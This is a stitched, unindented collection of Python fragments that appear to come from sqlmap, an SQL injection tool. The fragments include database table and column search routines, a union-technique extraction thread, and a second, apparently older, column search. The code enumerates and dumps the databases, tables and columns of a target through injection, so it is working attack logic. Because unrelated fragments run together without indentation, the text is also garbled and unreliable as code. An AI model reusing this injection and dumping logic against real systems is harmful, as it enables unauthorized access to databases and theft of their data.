logger.info(infoMsg)
query = rootQuery.blind.count
query = query.replace("%s", db)
query += " AND %s" % tblQuery
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query.replace("%s", db)
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
regex = '|'.join(conf.col.split(','))
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
if readInput(message, default='Y', boolean=True):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(',')
if conf.exclude:
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
values = []
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
column = column.upper()
conf.db = conf.db.upper() if conf.db else conf.db
conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(',')
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
_ = conf.db.split(',')
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
logger.info(msg)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
values = inject.getValue(query, blind=False, time=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(','):
for tbl in conf.tbl.split(','):
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(',') if not isNoneValue(tbl) else []
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
if not values and isInferenceAvailable() and not conf.direct:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
query = agent.limitQuery(index, query)
db = unArrayizeValue(inject.getValue(query, union=False, error=False))
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
db = safeSQLIdentificatorNaming(db)
if db not in foundCols[column]:
foundCols[column][db] = []
origDb = conf.db
origTbl = conf.tbl
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbData:
conf.db = origDb
conf.tbl = origTbl
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
elif " ORDER BY " in query:
query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery))
else:
query += " AND %s" % (colQuery + whereTblsQuery)
query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
query = agent.limitQuery(index, query)
tbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
if dbs:
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
else:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(
num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack,
True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output
for _ in (kb.chars.start,
kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item)
and len(item) == len(
expressionFieldsList)
]
items = [
_ for _ in flattenValue(items)
]
if len(items) > len(
expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(
r"[^A-Za-z0-9]", "",
item).lower()
if key not in filtered or re.search(
r"[^A-Za-z0-9]",
item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start, "").replace(
kb.chars.stop,
"").split(kb.chars.delimiter)
while threadData.shared.buffered and (
threadData.shared.lastFlushed + 1
>= threadData.shared.buffered[0][0]
or
len(threadData.shared.buffered) >
MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[
0]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
_ = ','.join(
"\"%s\"" % _ for _ in
flattenValue(arrayizeValue(
items))) if not isinstance(
items, basestring) else items
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
_ if kb.safeCharEncode else
safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
def searchColumn(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
colConsider, colCondParam = self.likeOrExact("column")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
dbs[db] = {}
for column in colList:
column = safeSQLIdentificatorNaming(column)
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info(infoMsg)
foundCols[column] = {}
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbs.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
if kb.data.cachedColumns[db][foundTbl] != {None: None}:
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [ foundTbl ]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
